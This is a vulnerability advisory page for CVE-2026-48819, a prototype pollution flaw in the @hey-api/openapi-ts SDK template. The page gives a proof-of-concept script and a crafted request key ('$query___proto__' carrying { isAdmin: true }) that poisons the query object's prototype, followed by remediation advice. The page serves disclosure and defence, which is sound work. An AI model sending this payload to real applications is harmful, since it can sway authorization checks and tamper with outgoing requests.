Skip to main content

hey-api openapi-ts CVE-2026-48819

| EUVDEUVD-2026-45267 MEDIUM
Improperly Controlled Modification of Object Prototype Attributes (Prototype Pollution) (CWE-1321)
2026-07-01 https://github.com/hey-api/openapi-ts GHSA-hhx9-57xq-r5rw
4.8
CVSS 3.1 · Vendor: https://github.com/hey-api/openapi-ts
Share

Severity by source

Vendor (https://github.com/hey-api/openapi-ts) PRIMARY
4.8 MEDIUM
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
vuln.today AI
4.8 MEDIUM

Network-delivered via crafted HTTP key; AC:H because exploitation requires a non-default proxy/BFF forwarding pattern; PR:N as no authentication is needed from the attacker; S:U because only the local params object is affected, not global prototype.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
4.0 AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/hey-api/openapi-ts).

CVSS VectorVendor: https://github.com/hey-api/openapi-ts

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

1
Analysis Generated
Jul 01, 2026 - 21:18 vuln.today

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 15 npm packages depend on @hey-api/openapi-ts (7 direct, 8 indirect)

Ecosystem-wide dependent count for version 0.97.3.

DescriptionCVE.org

Summary

dist/clients/core/params.ts in @hey-api/openapi-ts ships a runtime template that is copied verbatim into every generated SDK as params.gen.ts. When a caller passes an object argument containing an unknown key starting with a slot prefix ($body_, $headers_, $path_, $query_), the function strips the prefix and writes the remainder directly to that slot without validation. The key "$query___proto__" causes the returned params.query object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least 0.97.2.

Details

The vulnerable branch in dist/clients/core/params.ts:

typescript
const extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix))
if (extra) {
  const [prefix, slot] = extra
  ;(params[slot] as Record<string, unknown>)[key.slice(prefix.length)] = value
}

This branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes "$query___proto__" as an extra key alongside a legitimate field, the key is not in the field map, key.startsWith("$query_") is true, and key.slice(7) produces "__proto__". The bracket-write params["query"]["__proto__"] = value invokes the __proto__ setter, which calls Object.setPrototypeOf(params.query, value).

Reachability. Every generated endpoint method that accepts an object argument passes it through buildClientParams. If the application forwards user-supplied request parameters to a generated client method - a common pattern in proxy servers, BFF layers, and API gateways - an attacker can include "$query___proto__" alongside a legitimate field (e.g. "q"). The legitimate field ensures stripEmptySlots does not remove the affected slot (it has at least one own key), so the poisoned params.query object is returned to the caller.

Concrete field config that hey-api generates for a GET endpoint with one query param q:

typescript
// generated by hey-api for: GET /search?q=<string>
buildClientParams([parameters], [{ args: [{ in: "query", key: "q" }] }])

A request { q: "hello", "$query___proto__": { isAdmin: true } } reaches this call with "q" going to the field map branch and "$query___proto__" falling through to extraPrefixes.

PoC

bash
npm install @hey-api/openapi-ts@0.97.2
cp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts
npx tsx poc.ts
# or: docker build -t heyapi-poc . && docker run --rm heyapi-poc

poc.ts:

typescript
import { buildClientParams } from "./params.ts";

// Generated fields config for GET /search?q=<string>
const generatedFields = [{ args: [{ in: "query" as const, key: "q" }] }];

// Attacker request: legitimate "q" plus injected "$query___proto__"
const result = buildClientParams(
  [{ q: "hello", "$query___proto__": { isAdmin: true } }],
  generatedFields
);

const q = result.query as any;
console.log(q.q);                           // "hello" - own property, normal
console.log(q.isAdmin);                     // true - inherited via prototype chain
console.log(Object.keys(q));               // ["q"] - own keys only
for (const k in result.query) console.log(k); // "q", "isAdmin"

Expected output:

[CONFIRMED] buildClientParams prototype substitution via $query___proto__ key
  Scenario: GET /search with fields [{ in:'query', key:'q' }]
  Attacker request: { q: 'hello', '$query___proto__': { isAdmin: true } }

  result.query.q         = hello
  result.query.isAdmin   = true  ← inherited, NOT own
  Object.keys(q)         = [ 'q' ]
  for..in keys           = q, isAdmin
  Object.getPrototypeOf  = {"isAdmin":true}

No sentinel key is needed. The legitimate field "q" keeps params.query alive through stripEmptySlots. reproduce.zip

Impact

The returned params.query object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with for..in (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected.

Global Object.prototype is not modified - impact is limited to the returned slot object and its consumers.

Every npm package generated by @hey-api/openapi-ts carries this template. Downstream packages include @opencode-ai/sdk, @trigger.dev/sdk, and others. A fix in the template propagates to all of them on regeneration.

AnalysisAI

Prototype pollution in @hey-api/openapi-ts affects all versions through 0.97.2, allowing remote unauthenticated attackers to substitute the prototype chain of the returned params slot object by passing a crafted key such as '$query___proto__' through any application that forwards user-supplied parameters to a generated SDK method. The flaw resides in a runtime template (dist/clients/core/params.ts) that is copied verbatim into every generated SDK, meaning every downstream npm package regenerated from this tool carries the vulnerable code - confirmed affected consumers include @opencode-ai/sdk and @trigger.dev/sdk. A functional proof-of-concept is publicly available; exploitation is not confirmed as actively exploited and is absent from CISA KEV.

Technical ContextAI

The vulnerability is classified as CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes - Prototype Pollution). The affected code lives in the extraPrefixes branch of buildClientParams in dist/clients/core/params.ts. When a key is not found in the generated field map but starts with one of four slot prefixes ($body_, $headers_, $path_, $query_), the function strips the prefix via key.slice(prefix.length) and performs a direct bracket-write: params[slot][derived_key] = value. Because no sanitization is applied to derived_key, passing '$query___proto__' causes derived_key to equal '__proto__', and the assignment params['query']['__proto__'] = value invokes the JavaScript engine's __proto__ setter, which calls Object.setPrototypeOf(params.query, value). The affected package is identified by CPE pkg:npm/@hey-api_openapi-ts and targets Node.js environments running generated TypeScript/JavaScript SDKs. Notably, global Object.prototype is not modified; the poisoned prototype is scoped to the returned slot object and its consumers.

RemediationAI

No vendor-released patched version has been identified at time of analysis; the fix version is not confirmed in the available data. Consumers should monitor the GitHub advisory at https://github.com/hey-api/openapi-ts/security/advisories/GHSA-hhx9-57xq-r5rw for an official patch release and regenerate all SDKs immediately upon availability, as the fix in the template must propagate to generated code. As an immediate compensating control, any application that forwards user-supplied keys to generated SDK methods should sanitize or allowlist input keys before passing them to buildClientParams - specifically, reject or strip any key where, after prefix removal, the resulting string matches __proto__, constructor, or prototype. Implementing a block at the API gateway or BFF layer to reject request parameters whose keys begin with $ slot prefixes ($query_, $body_, $headers_, $path_) is a coarser but deployable control; note this may break legitimate uses of those prefixes if any exist in the application. Applications that do not forward user-controlled key names to SDK methods are not exploitable and require no immediate action.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

Share

CVE-2026-48819 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy